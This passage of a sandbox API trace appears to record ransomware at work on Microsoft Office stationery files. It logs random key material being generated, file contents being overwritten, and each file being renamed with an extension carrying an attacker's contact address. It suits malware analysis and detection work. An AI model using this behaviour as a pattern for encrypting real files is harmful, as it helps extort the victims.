[0063.086] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.086] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.086] NtQueryInformationFile (in: FileHandle=0xfb8, IoStatusBlock=0x13b6faa4, FileInformation=0x13b6fa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13b6faa4, FileInformation=0x13b6fa7c) returned 0x0 [0063.086] NtSetInformationFile (FileHandle=0xfb8, IoStatusBlock=0x13b6faa4, FileInformation=0x13b6fa7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0063.088] FlushFileBuffers (hFile=0xfb8) returned 1 [0066.210] CloseHandle (hObject=0xfb8) Thread: id = 792 os_tid = 0x103c [0051.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif")) returned 0x20 [0051.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF", dwFileAttributes=0x20) returned 1 [0060.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfbc [0060.020] GetFileSizeEx (in: hFile=0xfbc, lpFileSize=0x13d4f9a0 | out: lpFileSize=0x13d4f9a0*=4610) returned 1 [0060.020] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x11fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.020] ReadFile (in: hFile=0xfbc, lpBuffer=0x13d4f924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13d4f920, lpOverlapped=0x0 | out: lpBuffer=0x13d4f924*, lpNumberOfBytesRead=0x13d4f920*=0x4, lpOverlapped=0x0) returned 1 [0060.023] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d051d8 [0060.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05200 [0060.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05228 [0060.024] NtQuerySystemTime (in: CurrentTime=0x13d4f900 | out: CurrentTime=0x13d4f900*=132174898240056000) returned 0x0 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x2090521 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x75e75802 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x4f4743d9 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x3f0dded0 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x5f7b0f74 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x36353495 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x4c0b6b4e [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x7e6fb53e [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x16edacbf [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x1f5f56ed [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x6b56b4e3 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x5a5b4f54 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x1106551b [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x6be40029 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x5061ae3a [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x7e6fb53e [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x1f347e2d [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x6d4fe815 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0xe77000e [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x46c96cc4 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x6cfd3a76 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x4fbeaa94 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x301d000b [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x33e631a6 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x4ef2909a [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x56167b4 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x5768f85a [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x4a82eb6f [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x2c7107c9 [0060.024] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x441524e4 [0060.025] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x658be3db [0060.025] RtlRandomEx (in: Seed=0x13d4f90c | out: Seed=0x13d4f90c) returned 0x5721ce8b [0060.039] ReadFile (in: hFile=0xfbc, lpBuffer=0x12b9b078, nNumberOfBytesToRead=0x1202, lpNumberOfBytesRead=0x13d4f8fc, lpOverlapped=0x0 | out: lpBuffer=0x12b9b078*, lpNumberOfBytesRead=0x13d4f8fc*=0x1202, lpOverlapped=0x0) returned 1 [0060.043] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.043] WriteFile (in: hFile=0xfbc, lpBuffer=0x12ba7880*, nNumberOfBytesToWrite=0x1202, lpNumberOfBytesWritten=0x13d4f8f8, lpOverlapped=0x0 | out: lpBuffer=0x12ba7880*, lpNumberOfBytesWritten=0x13d4f8f8*=0x1202, lpOverlapped=0x0) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428fc8 [0062.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0062.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0062.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ba7880) returned 1 [0062.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b9b078) returned 1 [0062.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0062.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c480) returned 1 [0062.999] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cf020 [0062.999] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.999] WriteFile (in: hFile=0xfbc, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13d4f960, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x13d4f960*=0x109, lpOverlapped=0x0) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf050) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8968) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fc8) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05200) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05250) returned 1 [0063.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05278) returned 1 [0063.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00470 [0063.039] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" [0063.039] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.039] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13d4f918, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf96e0 [0063.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1fb90) returned 1 [0063.461] NtQueryInformationFile (in: FileHandle=0xfbc, IoStatusBlock=0x13d4f924, FileInformation=0x13d4f8fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13d4f924, FileInformation=0x13d4f8fc) returned 0x0 [0063.461] NtSetInformationFile (FileHandle=0xfbc, IoStatusBlock=0x13d4f924, FileInformation=0x13d4f8fc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.462] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.462] FlushFileBuffers (hFile=0xfbc) returned 1 [0066.225] CloseHandle (hObject=0xfbc) Thread: id = 793 os_tid = 0x1040 [0051.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm")) returned 0x20 [0051.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM", dwFileAttributes=0x20) returned 1 [0060.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc0 [0060.021] GetFileSizeEx (in: hFile=0xfc0, lpFileSize=0x13cdfc2c | out: lpFileSize=0x13cdfc2c*=469) returned 1 [0060.021] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x1d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.021] ReadFile (in: hFile=0xfc0, lpBuffer=0x13cdfbb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13cdfbac, lpOverlapped=0x0 | out: lpBuffer=0x13cdfbb0*, lpNumberOfBytesRead=0x13cdfbac*=0x4, lpOverlapped=0x0) returned 1 [0060.022] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0060.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d051b0 [0060.022] NtQuerySystemTime (in: CurrentTime=0x13cdfb8c | out: CurrentTime=0x13cdfb8c*=132174898240056000) returned 0x0 [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x616f3cc3 [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5be683ac [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x25946bcf [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x3b28c9d8 [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x7c98acc [0060.022] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x241dd06e [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5f9f79f1 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x317cef59 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x30b6d199 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x136a81c5 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x2af34781 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x1ae0987 [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x1f347e2d [0060.023] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x4b4be315 [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0xbc0d353 [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5631e368 [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x3ba0862f [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5aa7d66a [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0xf892604 [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5dd0ff30 [0060.043] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x4e4f2095 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x2220eb93 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x39f1db2b [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x2793efca [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x2e76a662 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5b5da371 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x707e0267 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5631e368 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x4f4743d9 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x5f57aa15 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x57590140 [0060.044] RtlRandomEx (in: Seed=0x13cdfb98 | out: Seed=0x13cdfb98) returned 0x77cd1461 [0060.057] ReadFile (in: hFile=0xfc0, lpBuffer=0x12bb4088, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x13cdfb88, lpOverlapped=0x0 | out: lpBuffer=0x12bb4088*, lpNumberOfBytesRead=0x13cdfb88*=0x1d5, lpOverlapped=0x0) returned 1 [0060.057] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.057] WriteFile (in: hFile=0xfc0, lpBuffer=0x12bc0890*, nNumberOfBytesToWrite=0x1d5, lpNumberOfBytesWritten=0x13cdfb84, lpOverlapped=0x0 | out: lpBuffer=0x12bc0890*, lpNumberOfBytesWritten=0x13cdfb84*=0x1d5, lpOverlapped=0x0) returned 1 [0062.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0062.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428988 [0062.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0062.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bc0890) returned 1 [0063.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bb4088) returned 1 [0063.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a600) returned 1 [0063.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c438) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cef60 [0063.000] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.000] WriteFile (in: hFile=0xfc0, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13cdfbec, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x13cdfbec*=0x109, lpOverlapped=0x0) returned 1 [0063.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef90) returned 1 [0063.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec88c8) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef60) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d051d8) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05228) returned 1 [0063.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0063.099] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" [0063.099] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0063.099] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13cdfba4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.100] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.100] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.100] NtQueryInformationFile (in: FileHandle=0xfc0, IoStatusBlock=0x13cdfbb0, FileInformation=0x13cdfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13cdfbb0, FileInformation=0x13cdfb88) returned 0x0 [0063.100] NtSetInformationFile (FileHandle=0xfc0, IoStatusBlock=0x13cdfbb0, FileInformation=0x13cdfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.101] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.101] FlushFileBuffers (hFile=0xfc0) returned 1 [0066.211] CloseHandle (hObject=0xfc0) Thread: id = 794 os_tid = 0x1044 [0051.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif")) returned 0x20 [0051.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF", dwFileAttributes=0x20) returned 1 [0060.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc4 [0060.058] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x13c5fa24 | out: lpFileSize=0x13c5fa24*=1115) returned 1 [0060.058] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x457, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.058] ReadFile (in: hFile=0xfc4, lpBuffer=0x13c5f9a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13c5f9a4, lpOverlapped=0x0 | out: lpBuffer=0x13c5f9a8*, lpNumberOfBytesRead=0x13c5f9a4*=0x4, lpOverlapped=0x0) returned 1 [0060.060] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d051b0 [0060.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0060.060] NtQuerySystemTime (in: CurrentTime=0x13c5f984 | out: CurrentTime=0x13c5f984*=132174898240368000) returned 0x0 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x7bf19546 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1bdb2193 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x5d659f2 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x674e0e56 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x38dcc63e [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x3c82fda9 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x71585bd4 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1f26b51b [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x73e747be [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x2ac2b538 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x2fc1da58 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x73bb73f [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x2c7b2134 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x33de7b94 [0060.060] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x132542fb [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x64c35841 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x361f8866 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x64980150 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1a1eb265 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x67ead63e [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x3d43a3cc [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1c254156 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x600d739b [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1014737 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x35bbcf8f [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1f0eceb7 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x64b41261 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x1d89b91 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x33e3c72a [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x5921bfa4 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x31b13b43 [0060.061] RtlRandomEx (in: Seed=0x13c5f990 | out: Seed=0x13c5f990) returned 0x6f689fc6 [0060.092] ReadFile (in: hFile=0xfc4, lpBuffer=0x12bcd098, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x13c5f980, lpOverlapped=0x0 | out: lpBuffer=0x12bcd098*, lpNumberOfBytesRead=0x13c5f980*=0x45b, lpOverlapped=0x0) returned 1 [0060.092] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.092] WriteFile (in: hFile=0xfc4, lpBuffer=0x12bd98a0*, nNumberOfBytesToWrite=0x45b, lpNumberOfBytesWritten=0x13c5f97c, lpOverlapped=0x0 | out: lpBuffer=0x12bd98a0*, lpNumberOfBytesWritten=0x13c5f97c*=0x45b, lpOverlapped=0x0) returned 1 [0062.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428988 [0062.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b68 [0062.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b68) returned 1 